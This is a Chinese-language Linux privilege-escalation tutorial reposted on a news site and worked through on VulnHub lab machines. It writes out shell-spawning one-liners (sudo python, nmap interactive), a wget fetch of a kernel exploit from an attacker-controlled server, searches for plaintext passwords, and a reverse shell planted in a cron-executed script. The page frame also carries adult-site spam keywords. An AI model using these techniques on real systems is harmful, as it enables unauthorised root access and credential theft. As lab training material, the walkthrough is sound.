日韩成人免费在线_国产成人一二_精品国产免费人成电影在线观..._日本一区二区三区久久久久久久久不

當前位置:首頁 > 科技  > 軟件

Linux提權過程中的各種姿勢

來源: 責編: 時間:2024-01-15 17:12:24 225觀看
導讀1.關于提權系統提權通常是滲透測試或CTF比賽中遇到的關鍵步驟, 通過提權可以允許攻擊者執行一些特殊操作,例如:繞過訪問控制、更改密碼、創建新用戶作為持久化手段、對軟件進行更改等。具有root權限的用戶則可以對系

Cse28資訊網——每日最新資訊28at.com

1.關于提權

Cse28資訊網——每日最新資訊28at.com

系統提權通常是滲透測試或CTF比賽中遇到的關鍵步驟, 通過提權可以允許攻擊者執行一些特殊操作,例如:繞過訪問控制、更改密碼、創建新用戶作為持久化手段、對軟件進行更改等。具有root權限的用戶則可以對系統進行任何操作, 包括:讀、寫或刪除任何文件、停止或啟動服務、安裝或卸載應用程序及管理賬戶等。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.提權過程中的信息收集

Cse28資訊網——每日最新資訊28at.com

提權過程中的信息收集相當于是一個手動枚舉的過程, 涉及對系統配置和服務信息進行詳細的查看和收集, 在此過程中, 往往需要記錄盡可能多的信息, 其中有些看似不重要的信息即使現在用不到, 在后期往往能提供非常有價值的靈感和思路。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.1 查看系統內核版本

Cse28資訊網——每日最新資訊28at.com

如果發現具有可用漏洞的內核版本, 則可以使用它來獲取root shell, 可以使用以下命令查看內核版本:Cse28資訊網——每日最新資訊28at.com

$ uname -r

命令返回如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

如果安裝了LSB模塊, 則可以使用命令查看Linux版本, 命令如下:Cse28資訊網——每日最新資訊28at.com

$ lsb_release -a

假如沒有該命令, 可以使用以下命令查看:Cse28資訊網——每日最新資訊28at.com

$ cat /proc/version

命令返回結果如下:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.2 Sudo版本

Cse28資訊網——每日最新資訊28at.com

跟內核版本一樣, sudo版本也可能受到攻擊, 可以使用以下命令查看:Cse28資訊網——每日最新資訊28at.com

$ sudo -V

命令返回結果如下:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.3 歷史記錄

Cse28資訊網——每日最新資訊28at.com

使用history命令可以查看系統曾經運行的命令歷史記錄, 在這個過程中往往能夠找到一些有價值的信息,例如:系統密碼,如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.4 計劃任務

Cse28資訊網——每日最新資訊28at.com

可以使用命令查看系統中間隔時間運行的程序, 在這個過程中可能會發現一些意外的信息,如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.5 sudo信息

Cse28資訊網——每日最新資訊28at.com

在Linux權限提升過程中, 查看用戶當前擁有的sudo權限, 可以提示我可能使用sudo能夠運行某些命令, 輸入以下命令:Cse28資訊網——每日最新資訊28at.com

$ sudo -l

命令返回結果如下:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.6 檢查身份

Cse28資訊網——每日最新資訊28at.com

可以直接使用id命令查看當前用戶屬于哪些組, 如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

2.7 檢查網絡信息

Cse28資訊網——每日最新資訊28at.com

查看網絡信息可以為下一步行動提供豐富的信息,例如: 路由信息、IP地址等, 根據這些信息對于之后理清整個網絡拓撲結構非常有幫助, 命令執行結果如下:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

3.自動化工具

Cse28資訊網——每日最新資訊28at.com

在Linux系統中使用自動化工具可以大大提升整體效率, 以下是一些常見的枚舉工具。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

3.1 LinEnum

Cse28資訊網——每日最新資訊28at.com

LinEnum是一款流行的權限提升工具, 它能夠顯示有關Linux系統的信息, 這些信息有價值的地方在于它們可能具有潛在的漏洞、錯誤配置, 大大提高提權的成功幾率。Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

LinEnum收集的信息包括:用戶賬戶、文件權限、活動進程、已安裝的軟件包、網絡配置、計劃任務、系統日志、版本信息等。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

3.2 LinPEAS

Cse28資訊網——每日最新資訊28at.com

LinPEAS也是一個流行的提權腳本, 可以幫助我生成root shell的潛在路徑, 并協助發現Linux環境中權限的錯誤配置或漏洞。Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

LinPEAS使用顏色編碼系統突出顯示哪些特權升級維度最可能發揮作用, 如果出現紅色/黃色, 則應該優先關注。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

3.3 Pspy工具

Cse28資訊網——每日最新資訊28at.com

Pspy是一個命令行工具, 該工具可以無需root權限監控Linux系統中運行的進程。Cse28資訊網——每日最新資訊28at.com

該工具對于識別cron作業或其他計劃任務運行的進程特別有用, 這些進程通常是特權升級攻擊的目標。通過識別這些進程,滲透測試人員可以找到利用錯誤配置或漏洞的機會,從而使攻擊者能夠在系統上獲得更高的權限。Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

3.4 Linux Exploit Suggester

Cse28資訊網——每日最新資訊28at.com

Linux Exploit Suggester是一個Linux權限提升工具,用于檢查計算機是否存在潛在的內核漏洞。該工具使用“極有可能”、“可能”、“不太可能”和“不可能”分數來計算漏洞利用成功的可能性。Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

3.5 Linux Smart Enumeration

Cse28資訊網——每日最新資訊28at.com

Linux Smart Enumeration是另一個類似于LinPEAS 的工具。它旨在識別系統漏洞、錯誤配置和其他潛在的系統權限升級途徑。然而,LSE以其獨特的檢查“級別”而聞名,它允許用戶根據自己的需要指定枚舉的深度。Cse28資訊網——每日最新資訊28at.com

它具有三個詳細級別。默認情況下,系統會顯示最嚴重的安全漏洞。執行第1級會顯示有用的信息,可以幫助滲透測試人員升級權限。執行級別2將提供收集的所有系統數據的大量轉儲。Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

4.利用內核漏洞提權

Cse28資訊網——每日最新資訊28at.com

內核漏洞是利用Linux操作系統內核代碼中的錯誤或缺陷, 例如:緩沖區溢出。為了能夠證明利用內核漏洞提升權限并生成root shell確實有效, 這里使用了VulnHub的Kioptrix 1.1虛擬機。Cse28資訊網——每日最新資訊28at.com

當以普通用戶進入目標機器后, 首先還是通過lsb_release -a 命令查看內核版本, 如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

從上圖中可以看出, 這臺機器運行的是CentOS, 內核版本為:2.6.9, 下一步使用searchsploit命令查找漏洞, 完整命令如下:Cse28資訊網——每日最新資訊28at.com

$ searchsploit linux CentOS 2.6 privilege escalation

圖片Cse28資訊網——每日最新資訊28at.com

上圖中顯示的9545.c將是我們利用的目標, 但必須將代碼從Kali傳輸到我的目標機器并編譯成可執行文件。Cse28資訊網——每日最新資訊28at.com

接下來我在Kali機器上啟動一個Python服務器, 并通過Kioptrix 機器上的wget下載漏洞利用程序。以下命令將在端口 8000 上啟動 Python 服務器。確保在漏洞所在的同一文件夾中啟動服務器。Cse28資訊網——每日最新資訊28at.com

python3 -m http.server

圖片圖片Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

下面我可以使用wget命令將漏洞利用程序下載到Kioptrix,命令如下:Cse28資訊網——每日最新資訊28at.com

wget http://192.168.56.103:8000/9545.c

下載完成后, 使用以下命令編譯代碼:Cse28資訊網——每日最新資訊28at.com

gcc 9545.c -o privesc

圖片圖片Cse28資訊網——每日最新資訊28at.com

最終利用內核漏洞獲取到root shell權限。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

5.利用服務漏洞提權

Cse28資訊網——每日最新資訊28at.com

服務漏洞主要是利用系統或應用程序服務中的漏洞達到提權目的。這些服務通常是向其他程序或用戶提供特定功能的后臺程序,包括: Web服務器、數據庫服務器、電子郵件服務器等。Cse28資訊網——每日最新資訊28at.com

服務漏洞利用的過程涉及攻擊者控制服務中的漏洞個來執行惡意代碼, 根據具體的漏洞和所涉及的服務, 成功利用的結果可能會有很大差異。Cse28資訊網——每日最新資訊28at.com

下面是一個利用的案例, 看看在VulnHub的Raven2 VM中利用服務漏洞進行root訪問是一種怎樣的體驗。Cse28資訊網——每日最新資訊28at.com

當我通過反彈shell進入了目標系統, 便可以進行一些枚舉操作來查找任何潛在的漏洞。Cse28資訊網——每日最新資訊28at.com

現在我已經擁有位于wp_config文件中的MySQL憑據, 接著運行LinPeas工具, 看看能否找到任何可能的特權路徑。Cse28資訊網——每日最新資訊28at.com

觀察LinPeas提供的輸出內容, 我發現MySQL正在以root身份運行, 如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

祭出搜索引擎, 看看該版本的MySQL是否有可用的漏洞,如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

看上去運氣不錯, 有一個名為udf_root的潛在的權限提升服務漏洞可以利用,該漏洞利用MySQL中的UDF(用戶定義函數是一段擴展MySQL服務器功能代碼)以MySQL服務的權限執行系統命令, 最終獲取系統權限。Cse28資訊網——每日最新資訊28at.com

該漏洞利用會將/bin/sh復制到臨時文件夾, 將所有者設置為root, 然后在/bin/sh二進制文件中設置SUID權限, 從而提供root shell。Cse28資訊網——每日最新資訊28at.com

將udf_root腳本下載到我本地Kali機器上, 將其重命名為ravenprivesc.py, 通過執勤啟動的Python服務器并使用wget命令將其下載到Raven機器上, 如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

結合之前MySQL的登錄憑據, 即:用戶名:root, 密碼:R@v3nSecurity, 運行一下試試:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

成功獲取到root權限。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

6.利用Sudo權限提權

Cse28資訊網——每日最新資訊28at.com

在Linux系統中, sudo代表超級用戶執行操作, 該命令允許普通用戶以超級用戶(root)的安全權限執行某些命令。sudo的主要目的是將root權限限制在真正需要的時候。Cse28資訊網——每日最新資訊28at.com

對于攻擊者來說, 利用sudo規則, 可以獲得提權并操作一些命令,例如: cat、find或python。Cse28資訊網——每日最新資訊28at.com

下面我使用sudo -l命令來查看sudo權限:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

從上圖中可以看出, 可以使用sudo權限運行python, 而無需提供密碼。Cse28資訊網——每日最新資訊28at.com

下面執行該命令:Cse28資訊網——每日最新資訊28at.com

sudo python -c 'import os; os.system("/bin/sh")'

圖片圖片Cse28資訊網——每日最新資訊28at.com

從上圖看到,直接獲取到了root權限。Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

7.利用SUID提權

Cse28資訊網——每日最新資訊28at.com

SUID代表設置所有者用戶ID, SUID允許用戶以與文件所有者相同的權限運行可執行文件。例如:如果文件設置了SUID位, 則標準用戶可以使用root權限執行該文件。Cse28資訊網——每日最新資訊28at.com

SUID權限可以使用帶有四個前綴的chmod命令(例如:chmod 4755 文件名)來設置, 并且可以在ls -l中用s代替用戶執行權限。Cse28資訊網——每日最新資訊28at.com

可以輸入以下命令進行手動檢查SUID:Cse28資訊網——每日最新資訊28at.com

find / -type f -perm -04000 -ls 2>/dev/null

圖片圖片Cse28資訊網——每日最新資訊28at.com

也可以使用LinPeas檢查SUID文件,如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

如上圖, 利用Nmap命令設置SUID位來幫助我提升權限。可以從這個網站:https://gtfobins.github.io/gtfobins/nmap/#suid找到相關操作的詳細過程。Cse28資訊網——每日最新資訊28at.com

使用--interactive標志運行Nmap將來交互模式下啟動它, 而!sh會在交互模式下生成一個shell, 由于Nmap上設置了SUID位, 因此shell將以root權限運行。Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

8.計劃任務提權

Cse28資訊網——每日最新資訊28at.com

Linux中的計劃任務是按預定義的時間或間隔運行的操作, 它們用于自動執行重復性任務, 以便無需人工干預即可完成這些任務。Cse28資訊網——每日最新資訊28at.com

如果計劃任務以更高權限運行, 例如:root cron作業, 并且如果它被錯誤配置為執行普通用戶可寫的文件或腳本, 這樣就可以修改此文件或腳本來包含惡意命令, 從而導致權限升級計劃任務執行。Cse28資訊網——每日最新資訊28at.com

這里我采用了VulnHub中的Symfonos3 VM來查看計劃任務, 首先還是利用Python創建一個http服務,輸入命令:Cse28資訊網——每日最新資訊28at.com

python3 -m http.server

圖片圖片Cse28資訊網——每日最新資訊28at.com

這里可以使用wget命令從服務器下載pspy, 只要確保使用本機IP 即可:Cse28資訊網——每日最新資訊28at.com

wget http://192.168.110.136:8000/pspy64

圖片圖片Cse28資訊網——每日最新資訊28at.com

接著運行:./pspy64, 讓pspy運行幾分鐘, 這時可以看到一個名為ftpclient.py的進程在定時運行, 如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

研究一下該文件, 看看是否可以以某種方式在它后面附加一些代碼來生成反彈Shell,如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

這里我沒有ftpclient.py文件的寫入權限, 但我注意到該文件正在導入ftplib, 不妨嘗試將其寫入該文件中試試,如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

由于是"gods"組的一部分,因此擁有該文件的讀寫權限, 我可以給這個文件附加一個shell, 等待計劃任務執行, 這時應該稱為root用戶了, 如圖:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

回到kali機器上,看看結果:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

Cse28資訊網——每日最新資訊28at.com

9.利用密碼提權

Cse28資訊網——每日最新資訊28at.com

當涉及到Linux權限提升時, 成為root用戶最簡單的方法之一就是查找密碼, 攻擊者可能會使用多種方法來查找系統中的密碼。Cse28資訊網——每日最新資訊28at.com

Linux用戶可以以純文本形式存儲密碼, 如果這些文件沒有得到適當保護, 攻擊者可能會訪問用戶的賬戶。Cse28資訊網——每日最新資訊28at.com

一旦找到密碼, 攻擊者就可以使用它來提升權限, 方法是登錄更高權限的賬戶或將其與sudo一起使用以提升權限運行命令。Cse28資訊網——每日最新資訊28at.com

下面將使用VulnHub中的SickOS VM來實現這個場景, 首先輸入以下命令查看密碼:Cse28資訊網——每日最新資訊28at.com

cat /etc/passwd

圖片圖片Cse28資訊網——每日最新資訊28at.com

從圖中可以看到, 有一個用戶較sickos, 下一步搜索以純文本形式存儲的密碼, 可以使用以下命令來搜索包含字符串"pass"的PHP文件:Cse28資訊網——每日最新資訊28at.com

find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass

圖片圖片Cse28資訊網——每日最新資訊28at.com

可以看到, 有一個以明文形式存儲的用戶名root和密碼john@123, 看看是否可以使用找到的密碼切換到sickos用戶, 從社會工程學角度, 密碼往往會重復用于多種場合:Cse28資訊網——每日最新資訊28at.com

圖片圖片Cse28資訊網——每日最新資訊28at.com

居然可以, 我已將www-data用戶提升為Sickos用戶, 現在順便看看是否有sudo權限:Cse28資訊網——每日最新資訊28at.com

sudo -l

圖片圖片Cse28資訊網——每日最新資訊28at.com

可以看到,已經可以以root用戶身份運行所有命令。Cse28資訊網——每日最新資訊28at.com

本文鏈接:http://www.www897cc.com/showinfo-26-61912-0.htmlLinux提權過程中的各種姿勢

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。郵件:2376512515@qq.com

上一篇: 谷歌裁員千人,攪動硅谷!終身編程終結,我們何以茍活?

下一篇: 蘋果官網官宣新春降價活動 網友對比發現京東 iPhone 15 現貨比官網便宜 300 元

標簽:
  • 熱門焦點
  • 7月安卓手機好評榜:三星S23Ultra好評率第一

    性能榜和性價比榜之后,我們來看最后的安卓手機好評榜,數據來源安兔兔評測,收集時間2023年7月1日至7月31日,僅限國內市場。第一名:三星Galaxy S23 Ultra好評率:95.71%在即將迎來新
  • 7月安卓手機性能榜:紅魔8S Pro再奪榜首

    7月份的手機市場風平浪靜,除了紅魔和努比亞帶來了兩款搭載驍龍8Gen2領先版處理器的新機之外,別的也想不到有什么新品了,這也正常,通常6月7月都是手機廠商修整的時間,進入8月份之
  • 5月iOS設備好評榜:iPhone 14僅排第43?

    來到新的一月,安兔兔的各個榜單又重新匯總了數據,像安卓陣營的榜單都有著比較大的變動,不過iOS由于設備的更新換代并沒有那么快,所以相對來說變化并不大,特別是iOS好評榜,老款設
  • SpringBoot中使用Cache提升接口性能詳解

    環境:springboot2.3.12.RELEASE + JSR107 + Ehcache + JPASpring 框架從 3.1 開始,對 Spring 應用程序提供了透明式添加緩存的支持。和事務支持一樣,抽象緩存允許一致地使用各
  • 只需五步,使用start.spring.io快速入門Spring編程

    步驟1打開https://start.spring.io/,按照屏幕截圖中的內容創建項目,添加 Spring Web 依賴項,并單擊“生成”按鈕下載 .zip 文件,為下一步做準備。請在進入步驟2之前進行解壓。圖
  • 本地生活這塊肥肉,拼多多也想吃一口

    出品/壹覽商業 作者/李彥編輯/木魚拼多多也看上本地生活這塊蛋糕了。近期,拼多多在App首頁“充值中心”入口上線了本機生活界面。壹覽商業發現,該界面目前主要
  • Windows 11發布,微軟一改往常對老機型開放的態度

    距離 Windows 11 發布已經過去一周,在過去一周里,很多數碼愛好者圍繞其對 Android 應用的支持、對老機型的升級問題展開了激烈討論。與以往不同的是,在這次大
  • 與兆芯合作 聯想推出全新旗艦版筆記本電腦開天N7系列

    聯想與兆芯合作推出全新聯想旗艦版筆記本電腦開天 N7系列。這個系列采用兆芯KX-6640MA處理器平臺,KX-6640MA 處理器是采用了陸家嘴架構,16nm 工藝,4 核 4 線
  • 三翼鳥智能家居亮相電博會,讓用戶體驗更真實

    2021電博會在青島國際會展中心開幕中,三翼鳥直接把“家”搬到了現場,成為了展會的一大看點。這也是三翼鳥繼9月9日發布了行業首個一站式定制智慧家平臺后的
Top 主站蜘蛛池模板: 马关县| 南丰县| 苍南县| 张掖市| 比如县| 澎湖县| 上虞市| 乌拉特中旗| 海安县| 台中县| 资溪县| 翁牛特旗| 阿克苏市| 会宁县| 鹤峰县| 香河县| 双峰县| 托里县| 彭阳县| 绍兴市| 东阳市| 安图县| 克山县| 东乌珠穆沁旗| 南溪县| 元谋县| 勐海县| 定结县| 林芝县| 清水县| 来安县| 绥滨县| 堆龙德庆县| 米林县| 海盐县| 廉江市| 和硕县| 五指山市| 青州市| 航空| 济宁市|